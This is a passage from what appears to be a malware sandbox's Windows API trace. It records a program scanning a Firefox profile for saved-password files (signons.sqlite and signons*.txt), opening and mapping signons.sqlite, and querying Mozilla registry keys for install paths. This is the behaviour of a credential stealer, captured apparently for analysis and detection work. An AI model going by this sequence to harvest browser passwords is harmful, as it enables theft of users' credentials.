lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0070.900] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*" [0070.900] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*", lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0x642768 [0070.900] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.900] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0070.900] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.900] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.900] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0 [0070.900] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.900] LocalFree (hMem=0x626a88) returned 0x0 [0070.900] LocalFree (hMem=0x65b348) returned 0x0 [0070.900] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.900] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0070.900] lstrlenA (lpString="parent.lock") returned 11 [0070.901] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0070.901] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.901] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.901] lstrlenA (lpString="permissions.sqlite") returned 18 [0070.901] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.901] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.901] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.901] lstrlenA (lpString="places.sqlite") returned 13 [0070.901] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.901] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.901] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0070.901] lstrlenA (lpString="pluginreg.dat") returned 13 [0070.901] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0070.901] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.901] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0070.901] lstrlenA (lpString="prefs.js") returned 8 [0070.901] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0070.901] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.901] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0070.901] lstrlenA (lpString="search.json") returned 11 [0070.901] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0070.901] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.901] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0070.901] lstrlenA (lpString="secmod.db") returned 9 [0070.901] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0070.901] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.901] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0070.901] lstrlenA (lpString="sessionstore.bak") returned 16 [0070.901] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0070.901] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0070.901] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.901] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0070.902] lstrlenA (lpString="sessionstore.js") returned 15 [0070.902] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0070.902] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0070.902] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0070.902] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.902] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0070.902] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.902] lstrlenA (lpString="\\") returned 1 [0070.902] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.902] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.902] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.902] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.902] lstrlenA (lpString="signons.sqlite") returned 14 [0070.902] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x626a88 [0070.902] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.902] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" [0070.902] LocalFree (hMem=0x6275a8) returned 0x0 [0070.902] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0070.902] CloseHandle (hObject=0x155) returned 1 [0070.902] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5b [0070.902] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626b70 [0070.902] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x626b70, nSize=0x5b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned 0x5a [0070.902] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0070.902] CloseHandle (hObject=0x155) returned 1 [0070.902] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0070.902] GetFileSize (in: hFile=0x155, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0070.902] CreateFileMappingA (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x158 [0070.902] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x16d0000 [0070.904] UnmapViewOfFile (lpBaseAddress=0x16d0000) returned 1 [0070.908] CloseHandle (hObject=0x158) returned 1 [0070.908] CloseHandle (hObject=0x154) returned 1 [0070.908] LocalFree (hMem=0x626b70) returned 0x0 [0070.908] LocalFree (hMem=0x626a88) returned 0x0 [0070.908] lstrlenA (lpString="signons.sqlite") returned 14 [0070.908] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0070.908] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.908] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.908] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.908] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0070.908] lstrlenA (lpString="times.json") returned 10 [0070.908] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0070.908] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0070.908] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0070.908] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.908] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0070.908] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0070.908] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0070.908] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0070.908] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0070.908] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.908] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0070.908] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0070.908] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.908] lstrlenA (lpString="\\") returned 1 [0070.908] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.908] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.908] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.908] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.908] lstrlenA (lpString="webapps") returned 7 [0070.908] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b348 [0070.908] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.908] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0070.908] LocalFree (hMem=0x6275a8) returned 0x0 [0070.909] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned 82 [0070.909] lstrlenA (lpString="\\*.*") returned 4 [0070.909] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x65b428 [0070.909] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0070.909] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*" [0070.909] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*", lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0x642768 [0070.909] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.909] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0070.909] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.909] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.909] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0070.909] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0070.909] lstrlenA (lpString="webapps.json") returned 12 [0070.909] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0070.909] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0070.909] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0070.909] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0 [0070.909] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.909] LocalFree (hMem=0x65b428) returned 0x0 [0070.909] LocalFree (hMem=0x65b348) returned 0x0 [0070.909] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0070.909] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.909] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0070.909] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0070.909] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.909] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.909] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 0 [0070.909] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0070.909] LocalFree (hMem=0x627320) returned 0x0 [0070.909] LocalFree (hMem=0x627248) returned 0x0 [0070.909] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 0 [0070.909] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.910] LocalFree (hMem=0x65d330) returned 0x0 [0070.910] LocalFree (hMem=0x65e350) returned 0x0 [0070.910] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 1 [0070.910] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.sqlite") returned 0x0 [0070.910] lstrlenA (lpString="profiles.ini") returned 12 [0070.910] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.txt") returned 0x0 [0070.910] StrStrIA (lpFirst="profiles.ini", lpSrch="signons2.txt") returned 0x0 [0070.910] StrStrIA (lpFirst="profiles.ini", lpSrch="signons3.txt") returned 0x0 [0070.910] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 0 [0070.910] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0070.910] LocalFree (hMem=0x643c28) returned 0x0 [0070.910] LocalFree (hMem=0x643b68) returned 0x0 [0070.910] LocalFree (hMem=0x647440) returned 0x0 [0070.910] LocalFree (hMem=0x6415d0) returned 0x0 [0070.910] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x662338 [0070.910] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0070.910] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x662338, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.910] RegCloseKey (hKey=0x138) returned 0x0 [0070.910] LocalFree (hMem=0x662338) returned 0x0 [0070.910] LocalFree (hMem=0x643aa8) returned 0x0 [0070.910] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x1, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.910] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0070.910] lstrlenA (lpString="\\") returned 1 [0070.910] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647440 [0070.910] lstrcpyA (in: lpString1=0x647440, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0070.910] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0070.910] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0070.910] lstrlenA (lpString="Uninstall") returned 9 [0070.911] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0070.911] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0070.911] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0070.911] LocalFree (hMem=0x647440) returned 0x0 [0070.911] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)\\Uninstall" [0070.911] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fcdc | out: phkResult=0x12fcdc*=0x138) returned 0x0 [0070.911] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcd4, lpData=0x0, lpcbData=0x12fcd8*=0x7 | out: lpType=0x12fcd4*=0x0, lpData=0x0, lpcbData=0x12fcd8*=0x0) returned 0x2 [0070.911] RegCloseKey (hKey=0x138) returned 0x0 [0070.911] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fcb0 | out: phkResult=0x12fcb0*=0x138) returned 0x0 [0070.911] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fca8, lpData=0x0, lpcbData=0x12fcac*=0x12fc94 | out: lpType=0x12fca8*=0x0, lpData=0x0, lpcbData=0x12fcac*=0x0) returned 0x2 [0070.911] RegCloseKey (hKey=0x138) returned 0x0 [0070.911] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fc84 | out: phkResult=0x12fc84*=0x138) returned 0x0 [0070.911] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fc7c, lpData=0x0, lpcbData=0x12fc80*=0x12fc68 | out: lpType=0x12fc7c*=0x0, lpData=0x0, lpcbData=0x12fc80*=0x0) returned 0x2 [0070.911] RegCloseKey (hKey=0x138) returned 0x0 [0070.911] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x662338 [0070.911] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0070.911] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x662338, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.911] RegCloseKey (hKey=0x138) returned 0x0 [0070.911] LocalFree (hMem=0x662338) returned 0x0 [0070.911] LocalFree (hMem=0x643aa8) returned 0x0 [0070.911] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x2, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.911] RegCloseKey (hKey=0x134) returned 0x0 [0070.911] LocalFree (hMem=0x646ba0) returned 0x0 [0070.911] LocalFree (hMem=0x641518) returned 0x0 [0070.911] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.911] RegCloseKey (hKey=0x130) returned 0x0 [0070.911] LocalFree (hMem=0x646318) returned 0x0 [0070.911] LocalFree (hMem=0x6292f8) returned 0x0 [0070.911] RegEnumKeyExA (in: hKey=0x12c, dwIndex=0x3, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.911] lstrlenA (lpString="Software\\Mozilla") returned 16 [0070.911] lstrlenA (lpString="\\") returned 1 [0070.911] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0070.911] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0070.911] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0070.911] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0070.911] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0070.911] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6292f8 [0070.911] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0070.912] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0070.912] LocalFree (hMem=0x65e350) returned 0x0 [0070.912] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Firefox") returned="Firefox 25.0" [0070.912] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0070.912] RegQueryValueExA (in: 